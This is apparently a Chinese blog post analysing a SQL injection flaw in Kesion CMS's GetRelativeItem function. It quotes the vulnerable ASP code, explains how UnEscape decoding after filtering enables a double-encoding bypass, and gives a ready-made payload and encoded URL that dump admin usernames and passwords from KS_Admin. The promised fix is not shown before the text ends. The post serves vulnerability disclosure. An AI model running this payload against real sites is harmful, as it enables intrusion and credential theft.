Kesion cms sql注入漏洞修复及其分析

作者：袖梨 2022-06-25

先我们来看代码

代码如下

复制代码

Dim KS:Set KS=New PublicCls
Dim Action
Action=KS.S("Action")
Select Case Action
Case "Ctoe" CtoE
Case "GetTags" GetTags
Case "GetRelativeItem" GetRelativeItem //问题函数
...skip...
Case "getonlinelist" getonlinelist
End Select
Sub GetRelativeItem() //漏洞函数开始
Dim Key:Key=UnEscape(KS.S("Key"))//漏洞位置，只调用ks.s函数，无其它过滤。
Dim Rtitle:rtitle=lcase(KS.G("rtitle"))
Dim RKey:Rkey=lcase(KS.G("Rkey"))
Dim ChannelID:ChannelID=KS.ChkClng(KS.S("Channelid"))
Dim ID:ID=KS.ChkClng(KS.G("ID"))
Dim Param,RS,SQL,k,SqlStr
If Key<>"" Then
If (Rtitle="true" Or RKey="true") Then
If Rtitle="true" Then
param=Param & " title like '%" & key & "%'"//类似搜索型注入漏洞。
end if
If Rkey="true" Then
If Param="" Then
Param=Param & " keywords like '%" & key & "%'"
Else
Param=Param & " or keywords like '%" & key & "%'"
End If
End If
Else
Param=Param & " keywords like '%" & key & "%'"
End If
End If
If Param<>"" Then
Param=" where InfoID<>" & id & " and (" & param & ")"
else
Param=" where InfoID<>" & id
end if
If ChannelID<>0 Then Param=Param & " and ChannelID=" & ChannelID
Param=Param & " and verific=1"
SqlStr="Select top 30 ChannelID,InfoID,Title From KS_ItemInfo " & Param & " order by id desc" //查询
Set RS=Server.CreateObject("ADODB.RECORDSET")
RS.Open SqlStr,conn,1,1
If Not RS.Eof Then
SQL=RS.GetRows(-1)
End If
RS.Close

如果配合Unescape()函数，刚过滤不会生效。可以采用unicode编码方式，则不会在浏览器中出现被过滤的字符。例如，单引号可以编码为。%2527，经过解码后还是“'”号，这样的话，就可以利用类似php的二次编码漏洞的方式绕过过滤了。
注入语句：%') union select 1,2,username+'|'+ password from KS_Admin
转换如下：

代码如下	复制代码
/plus/ajaxs.asp?action=GetRelativeItem&key=search%2525%2527%2529%2520%2575%256e%2569%256f%256e%2520%2573%2565%256c%2565%2563%2574%2520%2531%252c%2532%252c%2575%2573%2565%2572%256e%2561%256d%2565%252b%2527%257c%2527%252b%2570%2561%2573%2573%2577%256f%2572%2564%2520%2566%2572%256f%256d%2520%254b%2553%255f%2541%2564%256d%2569%256e%2500

先进行了过滤，然后才调用UnEscape解码，

代码如下

复制代码